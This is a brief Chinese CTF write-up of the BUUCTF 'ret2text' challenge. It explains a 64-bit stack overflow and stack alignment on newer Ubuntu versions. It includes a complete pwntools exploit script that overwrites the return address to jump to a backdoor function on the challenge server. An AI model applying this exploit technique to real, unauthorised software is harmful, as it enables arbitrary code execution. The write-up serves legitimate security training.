PWN-ret2text-3
来源BUUCTF
检查安全设置和类型
拿到先放到checksec里面检查安全设置和类型,发现保护较为薄弱,并且是64位小端序
静态分析
静态分析发现是一个很简单的栈溢出,payload如下,这里主要介绍堆栈平衡的特性(ubuntu18后的新特性):
from pwn import *
context(log_level='debug')
#io=process('pwn1')
io=remote("node5.buuoj.cn",27824)
payload=cyclic(0xf+0x8)+p64(0x401187) # 直接跳转到后门函数的第二行(第一行地址为0x401186,汇编为push,对堆栈平衡有影响,所以跳到第二行)
#payload=cyclic(0xf+0x8) + p64(0x401185)+p64(0x401186) 先跳到任意一个ret汇编语句,然后跟上后门函数地址(第一行)
遇到ubuntu18及以上的环境时需要考虑堆栈平衡,可以选用以上任意一种方法来平衡
io.sendline(payload)
io.interactive()